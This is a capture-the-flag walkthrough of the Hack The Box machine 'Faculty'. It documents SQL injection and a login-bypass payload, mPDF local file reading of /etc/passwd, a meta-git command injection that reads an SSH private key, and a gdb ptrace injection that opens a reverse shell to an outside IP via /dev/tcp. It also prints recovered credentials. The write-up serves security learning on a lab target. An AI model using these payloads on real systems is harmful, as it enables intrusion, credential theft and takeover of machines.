Hack The Box - Faculty
Enumeration
nmap scan
└─$ sudo nmap -sC -sV -p- 10.129.198.106 -oA nmap/faculty
[sudo] password for kali:
Starting Nmap 7.91 ( https://nmap.org ) at 2022-07-02 19:09 UTC
Nmap scan report for 10.129.198.106
Host is up (0.077s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e9:41:8c:e5:54:4d:6f:14:98:76:16:e7:29:2d:02:16 (RSA)
| 256 43:75:10:3e:cb:78:e9:52:0e:eb:cf:7f:fd:f6:6d:3d (ECDSA)
|_ 256 c1:1c:af:76:2b:56:e8:b3:b8:8a:e9:69:73:7b:e6:f5 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://faculty.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
port 80 - web server
runing gobuster on the web server we just discovered
/login.php (Status: 200) [Size: 4860]
/index.php (Status: 302) [Size: 12193] [--> login.php]
/header.php (Status: 200) [Size: 2871]
/admin (Status: 301) [Size: 178] [--> http://faculty.htb/admin/]
/test.php (Status: 500) [Size: 0]
/topbar.php (Status: 200) [Size: 1206]
/admin seems interesting, let’s dig in to find out more by running gobuster on /admin:
/home.php (Status: 200) [Size: 2995]
/login.php (Status: 200) [Size: 5618]
/events.php (Status: 500) [Size: 1193]
/index.php (Status: 302) [Size: 13897] [--> login.php]
/download.php (Status: 200) [Size: 17]
/header.php (Status: 200) [Size: 2691]
/users.php (Status: 200) [Size: 1593]
/assets (Status: 301) [Size: 178] [--> http://faculty.htb/admin/assets/]
/faculty.php (Status: 200) [Size: 8532]
/courses.php (Status: 200) [Size: 9214]
/ajax.php (Status: 200) [Size: 0]
/schedule.php (Status: 200) [Size: 5553]
/database (Status: 301) [Size: 178] [--> http://faculty.htb/admin/database/]
/navbar.php (Status: 200) [Size: 1116]
/subjects.php (Status: 200) [Size: 10278]
/topbar.php (Status: 200) [Size: 1201]
looking at the source code of login.php
<script>
$('#login-form').submit(function(e){
e.preventDefault()
$('#login-form button[type="button"]').attr('disabled',true).html('Logging in...');
if($(this).find('.alert-danger').length > 0 )
$(this).find('.alert-danger').remove();
$.ajax({
url:'admin/ajax.php?action=login_faculty',
method:'POST',
data:$(this).serialize(),
error:err=>{
console.log(err)
$('#login-form button[type="button"]').removeAttr('disabled').html('Login');
},
success:function(resp){
if(resp == 1){
location.href ='index.php';
}else{
$('#login-form').prepend('<div class="alert alert-danger">ID Number is incorrect.</div>')
$('#login-form button[type="button"]').removeAttr('disabled').html('Login');
}
}
})
})
</script>
Here we can see the webrequest is being sent to ajax.php and it is checking the id number in the request
There is a high possibility that a database server is running if there is a login page present in the web server, in this case it is worth it to test for sql injection.
Let’s use sqlmap to see if the parameter id_no is vulnerable to sql injection:
sqlmap -u "http://faculty.htb/admin/ajax.php?action=login_faculty" --data "id_no=0" --dbs
result:
sqlmap identified the following injection point(s) with a total of 247 HTTP(s) requests:
---
Parameter: id_no (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id_no=0' AND (SELECT 3500 FROM (SELECT(SLEEP(5)))KGAE) AND 'jTdB'='jTdB
---
available databases [2]:
[*] information_schema
[*] scheduling_db
the parameter id_no is injectable, sqlmap return two database names: information_schema, scheduling_db
Checking tables inside scheduling_db
Database: scheduling_db
[6 tables]
+---------------------+
| class_schedule_info |
| courses |
| faculty |
| schedules |
| subjects |
| users |
+---------------------+
the table users is interesting, let’s dump the content.
Database: scheduling_db
Table: users
[1 entry]
+----+---------------+------+----------------------------------+----------+
| id | name | type | password | username |
+----+---------------+------+----------------------------------+----------+
| 1 | Administrator | 1 | 1fecbe762af147c1176a0fc2c722a345 | admin |
+----+---------------+------+----------------------------------+----------+
Found the password hash for administrator, but unable to crack it.
Checking faculty table
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| id | id_no | email | gender | address | contact | lastname | firstname | middlename |
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
| 1 | 63033226 | jsmith@faculty.htb | Male | 151 Blue Lakes Blvd | (646) 559-9192 | Smith | John | C |
| 2 | 85662050 | cblake@faculty.htb | Female | 225 Main St | (763) 450-0121 | Blake | Claire | G |
| 3 | 30903070 | ejames@faculty.htb | Male | 142 W Houston St | (702) 368-3689 | James | Eric | P |
+----+----------+--------------------+--------+---------------------+----------------+----------+-----------+------------+
We now got username and faculty no. login to see if there are any events, found nothing
Looking at the header of the website, it is using School Faculty Scheduling System. Let’s see if there are any known vulnerability to this application.
a login bypass exploit
https://www.exploit-db.com/exploits/48922
and a stored xss exploit
https://www.exploit-db.com/exploits/48921
Exploitation
These two exploits seems very interesting, let’s start with the login bypass first.
Using the payload in the PoC -> username=jyot'+or+1%3D1+%23&password=jyot'+or+1%3D1+%23
, I can bypass authentication.
Then I found a export pdf function in course.php
$('#download-pdf').click(function(e) {
e.preventDefault()
console.log("Generating PDF...");
start_load()
$.ajax({
url:'download.php',
data: "pdf=" + $('#pdf').val(),
cache: false,
contentType: false,
processData: false,
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
method: 'POST',
type: 'POST',
success:function(resp){
end_load();
if (resp.includes("OK")) {
alert_toast("Data successfully generated",'success')
setTimeout(function(){
window.open("../mpdf/tmp/" + resp, '_blank');
},1500)
} else {
alert_toast("Error generating pdf",'danger')
}
},
error: function (err) {
end_load();
alert_toast("Error generating pdf",'danger')
}
})
});
Exporting pdf and check the pdf content:
decided to add new course and add some html tag to it to see if it is working
it is working
according to the returningURL target could be running php library mpdf:
http://faculty.htb/mpdf/tmp/OK3J1gnALaKI2BHGQker6Wo7jy.pdf
intercept request when download
base64 decode with cyberchef, this seems to be the content of the pdf. Maybe we can modify it and create our own pdf.
%253Ch1%253E%253Ca%2Bname%253D%2522top%2522%253E%253C%252Fa%253Efaculty.htb%253C%252Fh1%253E%253Ch2%253ECourses%253C%252Fh2%253E%253Ctable%253E%2509%253Cthead%253E%2509%2509%253Ctr%253E%2509%2509%2509%253Cth%2Bclass%253D%2522text-center%2522%253E%2523%253C%252Fth%253E%2509%2509%2509%253Cth%2Bclass%253D%2522text-center%2522%253ECourse%253C%252Fth%253E%2509%2509%2509%253Cth%2Bclass%253D%2522text-center%2522%253EDescription%253C%252Fth%253E%2509%2509%2509%253C%252Ftr%253E%253C%252Fthead%253E%253Ctbody%253E%253Ctr%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E1%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Cb%253EInformation%2BTechnology%253C%252Fb%253E%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Csmall%253E%253Cb%253EIT%253C%252Fb%253E%253C%252Fsmall%253E%253C%252Ftd%253E%253C%252Ftr%253E%253Ctr%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E2%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Cb%253EBSCS%253C%252Fb%253E%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Csmall%253E%253Cb%253EBachelor%2Bof%2BScience%2Bin%2BComputer%2BScience%253C%252Fb%253E%253C%252Fsmall%253E%253C%252Ftd%253E%253C%252Ftr%253E%253Ctr%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E3%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Cb%253EBSIS%253C%252Fb%253E%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Csmall%253E%253Cb%253EBachelor%2Bof%2BScience%2Bin%2BInformation%2BSystems%253C%252Fb%253E%253C%252Fsmall%253E%253C%252Ftd%253E%253C%252Ftr%253E%253Ctr%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E4%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Cb%253EBSED%253C%252Fb%253E%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Csmall%253E%253Cb%253EBachelor%2Bin%2BSecondary%2BEducation%253C%252Fb%253E%253C%252Fsmall%253E%253C%252Ftd%253E%253C%252Ftr%253E%253Ctr%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E5%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Cb%253EMath%253C%252Fb%253E%253C%252Ftd%253E%253Ctd%2Bclass%253D%2522text-center%2522%253E%253Csmall%253E%253Cb%253E%253Cannotation%2Bfile%253D%2522%252Fetc%252Fpasswd%2522%2Bcontent%253D%2522%252Fetc%252Fpasswd%2522%2Bicon%253D%2522Graph%2522%2Btitle%253D%2522Attached%2BFile%253A%2B%252Fetc%252Fpasswd%2522%2Bpos-x%253D%2522195%2522%2B%252F%253E%253C%252Fb%253E%253C%252Fsmall%253E%253C%252Ftd%253E%253C%252Ftr%253E%253C%252Ftboby%253E%253C%252Ftable%253E
The encoding seems unusal than regular urlencoding, after googling I found out this is double-encoded
found a blog talking about the LFI vulnerability in mPDF
https://medium.com/@jonathanbouman/local-file-inclusion-at-ikea-com-e695ed64d82f
to make it work, we have to encode the payload and send it to download.php
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
cyberchef can help
Time to execute, here I will use curl to send the payload to the server.
# sending pdf content to download.php
┌──(kali㉿kali)-[~/HTB-Boxes/faculty]
└─$ curl -X POST "http://faculty.htb/admin/download.php" --data "pdf=JTI1M0Nhbm5vdGF0aW9uJTI1MjBmaWxlPSUyNTIyL3Zhci93d3cvc2NoZWR1bGluZy9hZG1pbi9hZG1pbl9jbGFzcy5waHAlMjUyMiUyNTIwY29udGVudD0lMjUyMi92YXIvd3d3L3NjaGVkdWxpbmcvYWRtaW4vYWRtaW5fY2xhc3MucGhwJTI1MjIlMjUyMGljb249JTI1MjJHcmFwaCUyNTIyJTI1MjB0aXRsZT0lMjUyMkF0dGFjaGVkJTI1MjBGaWxlOiUyNTIwL3Zhci93d3cvc2NoZWR1bGluZy9hZG1pbi9hZG1pbl9jbGFzcy5waHAlMjUyMiUyNTIwcG9zLXg9JTI1MjIxOTUlMjUyMiUyNTIwLyUyNTNF"
OKBbrAomnM3EHzhUVXcsNPS4Fp.pdf
# download pdf
┌──(kali㉿kali)-[~/HTB-Boxes/faculty]
└─$ wget http://faculty.htb/mpdf/tmp/OKBbrAomnM3EHzhUVXcsNPS4Fp.pdf
--2022-07-04 21:55:42-- http://faculty.htb/mpdf/tmp/OKBbrAomnM3EHzhUVXcsNPS4Fp.pdf
Resolving faculty.htb (faculty.htb)... 10.129.166.189
Connecting to faculty.htb (faculty.htb)|10.129.166.189|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4400 (4.3K) [application/pdf]
Saving to: ‘OKBbrAomnM3EHzhUVXcsNPS4Fp.pdf’
OKBbrAomnM3EHzhUVXcsNPS4Fp.pd 100%[==============================================>] 4.30K --.-KB/s in 0s
2022-07-04 21:55:42 (791 MB/s) - ‘OKBbrAomnM3EHzhUVXcsNPS4Fp.pdf’ saved [4400/4400]
# open pdf file
┌──(kali㉿kali)-[~/HTB-Boxes/faculty]
└─$ open OKBbrAomnM3EHzhUVXcsNPS4Fp.pdf
after downloading the file we can open it with a pdf viewer and open the attachment
!!!(do not open in browser since we need to open attachment)!!!
We are able to read /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
postfix:x:113:119::/var/spool/postfix:/usr/sbin/nologin
developer:x:1001:1002:,,,:/home/developer:/bin/bash
usbmux:x:114:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
got three user: root, gbyolo and developer
Next thing I try to do is reading ssh private key file, but I can’t find any of them. Then I move on to try to analysis the source code of the website.
First off, I will look at ajax.php
<?php
ob_start();
$action = $_GET['action'];
include 'admin_class.php';
$crud = new Action();
if($action == 'login'){
$login = $crud->login();
if($login)
echo $login;
}
if($action == 'login_faculty'){
$login_faculty = $crud->login_faculty();
if($login_faculty)
echo $login_faculty;
}
if($action == 'login2'){
$login = $crud->login2();
if($login)
echo $login;
}
inside admin_class.php, it is importing creds from db_connect.php
<?php
session_start();
ini_set('display_errors', 1);
Class Action {
private $db;
public function __construct() {
ob_start();
include 'db_connect.php';
$this->db = $conn;
}
function __destruct() {
$this->db->close();
ob_end_flush();
}
function login(){
inside db_connect.php
<?php
$conn= new mysqli('localhost','sched','Co.met06aci.dly53ro.per','scheduling_db')or die("Could not connect to mysql".mysqli_error($con));
found cred ==> sched:Co.met06aci.dly53ro.per
we can use this password to login as the user gbyolo!
Lateral movement
Listing user sudo privilege
gbyolo@faculty:~$ sudo -l
[sudo] password for gbyolo:
Matching Defaults entries for gbyolo on faculty:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User gbyolo may run the following commands on faculty:
(developer) /usr/local/bin/meta-git
mailbox content
gbyolo@faculty:/var/mail$ cat gbyolo
From developer@faculty.htb Tue Nov 10 15:03:02 2020
Return-Path: <developer@faculty.htb>
X-Original-To: gbyolo@faculty.htb
Delivered-To: gbyolo@faculty.htb
Received: by faculty.htb (Postfix, from userid 1001)
id 0399E26125A; Tue, 10 Nov 2020 15:03:02 +0100 (CET)
Subject: Faculty group
To: <gbyolo@faculty.htb>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20201110140302.0399E26125A@faculty.htb>
Date: Tue, 10 Nov 2020 15:03:02 +0100 (CET)
From: developer@faculty.htb
X-IMAPbase: 1605016995 2
Status: O
X-UID: 1
Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and if you have troubles just let me know!\ndeveloper@faculty.htb
Looking for meta-git vulnerability:
https://hackerone.com/reports/728040
according to the sudoer file, we can run meta-git as user developer, let’s try to use this method to create a file:
gbyolo@faculty:/dev/shm$ sudo -u developer /usr/local/bin/meta-git clone 'sss||touch HACKED'
meta git cloning into 'sss||touch HACKED' at sss||touch HACKED
sss||touch HACKED:
fatal: repository 'sss' does not exist
sss||touch HACKED ✓
(node:70766) UnhandledPromiseRejectionWarning: Error: ENOENT: no such file or directory, chdir '/dev/shm/sss||touch HACKED'
at process.chdir (internal/process/main_thread_only.js:31:12)
at exec (/usr/local/lib/node_modules/meta-git/bin/meta-git-clone:27:11)
at execPromise.then.catch.errorMessage (/usr/local/lib/node_modules/meta-git/node_modules/meta-exec/index.js:104:22)
at process._tickCallback (internal/process/next_tick.js:68:7)
at Function.Module.runMain (internal/modules/cjs/loader.js:834:11)
at startup (internal/bootstrap/node.js:283:19)
at bootstrapNodeJSCore (internal/bootstrap/node.js:623:3)
(node:70766) UnhandledPromiseRejectionWarning: Unhandled promise rejection. This error originated either by throwing inside of an async function without a catch block, or by rejecting a promise which was not handled with .catch(). (rejection id: 1)
(node:70766) [DEP0018] DeprecationWarning: Unhandled promise rejections are deprecated. In the future, promise rejections that are not handled will terminate the Node.js process with a non-zero exit code.
gbyolo@faculty:/dev/shm$ ls -al
total 0
drwxrwxrwt 3 root root 100 Jul 5 08:06 .
drwxr-xr-x 18 root root 3960 Jul 3 21:01 ..
-rw-rw-r-- 1 developer developer 0 Jul 5 08:06 HACKED
drwx------ 4 root root 80 Jul 3 21:01 multipath
-rw-rw-r-- 1 developer developer 0 Jul 5 08:06 sss
the method is working, let’s read the ssh private key of developer:
sudo -u developer /usr/local/bin/meta-git clone 'sss||cat /home/developer/.ssh/id_rsa'
We can now login as the user developer!
Privilege Escalation
user group seems interesting:
uid=1001(developer) gid=1002(developer) groups=1002(developer),1001(debug),1003(faculty)
Unleashing linpeas.sh
Listing capabilities
╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000
Files with capabilities (limited to 50):
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/gdb = cap_sys_ptrace+ep
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
the capability ‘cap_sys_ptrace’ in gdb seems useful
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities#cap_sys_ptrace
let’s try to inject command into a python process
developer@faculty:~$ ps aux | grep root | grep python
root 735 0.0 0.9 26896 18156 ? Ss Jul04 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
# attach process
gdb -p 732
# inject command
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/10.10.14.62/9002 0>&1'")
what is ptrace?
ptrace is a system call found in Unix and several Unix-like operating systems. By using ptrace (the name is an abbreviation of “process trace”) one process can control another, enabling the controller to inspect and manipulate the internal state of its target.
got root!